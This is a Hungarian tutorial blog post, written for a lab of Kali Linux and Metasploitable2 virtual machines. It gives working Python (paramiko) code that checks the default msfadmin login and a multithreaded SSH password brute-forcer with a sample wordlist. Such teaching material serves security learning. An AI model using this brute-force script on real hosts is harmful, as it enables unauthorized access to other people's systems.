Ez a cikk oktatási céllal készült, a tartalma csak a saját virtuális hálózatunkban próbálható ki.
A Metasploitable2 és a Kali Linux virtuális gépek kerültek alkalmazásra a cikkírás során.
Az SSH protokoll nagyon gyakran előfordul az OT (Operational Technology) hálózatoknál, talán elmondható az, hogy szinte teljesen kiszorította a titkosítattlan Telnet protokollt. Ezért most megnézünk egy lehetséges megoldást, amelynek a segítségével SSH brute force támadás kivitelezhető.
Az első Python alkalmazás segítségével egy adott loginnév és jelszó páros "korrektsége" tesztelhető. Ha a loginnév és a jelszó megfelelő, akkor a kivételkezelésnél a "try" blokkban marad a vezérlés, és kiírásra kerül az, hogy a belépés sikeres volt. Ha a loginnév (vagy a jelszó) nem megfelelő, akkor a vezérlés az "except" blokkkba kerül, ahol kiirásra kerül az, hogy nem sikerült a távoli szerverre belépni az SSH protokoll segítségével.
A "Metasploitable2" default bejelentkezési loginneve és jelszava a "msfadmin".
import pexpect
import socket
import paramiko, sys
import os
def connectSSH():
hostIP = sys.argv[1]
userName = "msfadmin"
passWord = "msfadmin"
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
child = ssh.connect(hostIP, port=22, username=userName, password=passWord)
print("[+] " + hostIP + ": SSH Logon Succeeded")
except:
print("[-]" + hostIP + ": SSH not login")
ssh.close()
connectSSH()
A program futási eredménye látható az első ábrán.
1. ábra Az "msfadmin/msfadmin" páros sikeres tesztelése
Könnyen belátható, hogy az első Python script használata nem életszerű, hiszen csak az adott páros (msfadmin/msfadmin) helyessége vizsgálható. Célszerű egy adott loginnév használata mellett a különböző jelszólehetőségeket kipróbálni, ehhez pedig kell egy jelszófile, egy szótár, amelyben a különböző jelszólehetőségek találhatók meg.
Hozzunk létre egy saját jelszófile-t, amelynek a tartalma legyen a következő.
abc
abc1
abc12
abc123
abc1234
1
12
123
1234
4321
321
21
qwertz
qwery
msfadmin
kefmkd
dskdke
sdeide
A következő Python srcipt segítségével egy adott loginnévre illeszteni lehet különböző jelszavakat, amelyek egy file-ban kerültek eltárolásra. A script elindításakor meg kell adni a távoli gép IP címét, az adott loginnevet, illetve a jelszófile nevét.
Ha a program indításakor nem találhatók meg az előbb említett argumentumok, akkor hibaüzenettel a program leáll.
import paramiko, sys, os, termcolor
import threading, time
if len(sys.argv) != 4:
print("Use: IP Username PasswordFile")
sys.exit(1)
hostIP = sys.argv[1]
userName = sys.argv[2]
inputFile = sys.argv[3]
if os.path.exists(inputFile) == False:
print("[!!] That File/Path Doesnt Exist")
sys.exit(1)
stopFlag = 0
def sshConnect(password):
global stopFlag
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostIP, port=22, username=userName, password=password)
stopFlag = 1
print(termcolor.colored(("[+] Found Password: " + password + ", For Account: " + userName), "green"))
except:
print(termcolor.colored(("[-] Incorrect Login: " + password), "red"))
ssh.close()
print("Starting Threaded SSH Bruteforce on " + hostIP + " with Account: " + userName)
with open(inputFile, "r") as file:
for line in file.readlines():
if stopFlag == 1:
t.join()
exit()
password = line.strip()
t = threading.Thread(target=sshConnect, args=(password,))
t.start()
time.sleep(0.5)
A program futtatása látható a 2. ábrán.
2. ábra SSH brute force használata a Metasploitable2 virtuális gépnél
Az nmap (grafikus megjelenítésnél a ZenMap) használata az IT biztonság, illetve az üzemeltetés területén dolgozó szakembereknél szinte elkerülhetetlen. Az ingyenes szoftver segítségével tesztelhetők a számítógépeink, a számítógéphálózatunk, vizsgálha. . . .
A Python programozási nyelv nagyon elterjedt a fejlesztők körében. Használják beágyazott rendszereknél, webes alkalmazásoknál, IT biztonság különböző területein, stb. Látható, hogy nagyon széles a felhasználási területe ennek a nyelvnek, ideje volt m. . . .
Bemutatjuk most a saját (!) Wifi-s hálózatunk tesztelésének az alapjait. Megnézzük, hogy hogyan lehet biztonságos jelszót választani. Feltörhetetlen rendszer nem létezik, de megismerve a tesztelés folyamatát, válaszokat kaphatunk arra vonatkozólag, h. . . .